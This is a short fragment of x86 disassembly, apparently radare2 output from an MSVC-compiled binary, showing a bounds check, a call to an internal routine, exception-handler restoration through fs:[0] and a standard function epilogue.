mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404abf
push edx
push ecx
call fcn.0041fec8
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004394ca
int3